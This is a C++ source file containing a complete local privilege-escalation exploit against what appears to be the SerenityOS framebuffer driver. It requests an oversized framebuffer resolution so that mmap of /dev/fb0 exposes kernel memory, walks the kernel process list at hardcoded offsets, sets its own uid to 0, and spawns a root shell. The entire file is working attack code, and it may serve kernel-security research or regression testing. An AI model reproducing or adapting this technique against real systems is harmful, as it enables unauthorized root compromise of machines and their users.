bxvga-mmap-kernel-into-userspace.cpp 2.1 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192
  1. #include <AK/Types.h>
  2. #include <fcntl.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5. #include <sys/ioctl.h>
  6. #include <sys/mman.h>
  7. #include <unistd.h>
  8. int main()
  9. {
  10. int fd = open("/dev/fb0", O_RDWR);
  11. if (fd < 0) {
  12. perror("open");
  13. return 1;
  14. }
  15. size_t width = 17825;
  16. size_t height = 1000;
  17. size_t pitch = width * 4;
  18. size_t framebuffer_size_in_bytes = pitch * height * 2;
  19. FBResolution original_resolution;
  20. if (ioctl(fd, FB_IOCTL_GET_RESOLUTION, &original_resolution) < 0) {
  21. perror("ioctl");
  22. return 1;
  23. }
  24. FBResolution resolution;
  25. resolution.width = width;
  26. resolution.height = height;
  27. resolution.pitch = pitch;
  28. if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &resolution) < 0) {
  29. perror("ioctl");
  30. return 1;
  31. }
  32. auto* ptr = (u8*)mmap(nullptr, framebuffer_size_in_bytes, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FILE, fd, 0);
  33. if (ptr == MAP_FAILED) {
  34. perror("mmap");
  35. return 1;
  36. }
  37. printf("Success! Evil pointer: %p\n", ptr);
  38. u8* base = &ptr[128 * MB];
  39. uintptr_t g_processes = *(uintptr_t*)&base[0x1b51c4];
  40. printf("base = %p\n", base);
  41. printf("g_processes = %#08x\n", g_processes);
  42. auto get_ptr = [&](uintptr_t value) -> void* {
  43. value -= 0xc0000000;
  44. return (void*)&base[value];
  45. };
  46. struct ProcessList {
  47. uintptr_t head;
  48. uintptr_t tail;
  49. };
  50. struct Process {
  51. // 32 next
  52. // 40 pid
  53. // 44 uid
  54. u8 dummy[32];
  55. uintptr_t next;
  56. u8 dummy2[4];
  57. pid_t pid;
  58. uid_t uid;
  59. };
  60. ProcessList* process_list = (ProcessList*)get_ptr(g_processes);
  61. Process* process = (Process*)get_ptr(process_list->head);
  62. printf("{%p} PID: %d, UID: %d, next: %#08x\n", process, process->pid, process->uid, process->next);
  63. if (process->pid == getpid()) {
  64. printf("That's me! Let's become r00t!\n");
  65. process->uid = 0;
  66. }
  67. if (ioctl(fd, FB_IOCTL_SET_RESOLUTION, &original_resolution) < 0) {
  68. perror("ioctl");
  69. return 1;
  70. }
  71. execl("/bin/sh", "sh", nullptr);
  72. return 0;
  73. }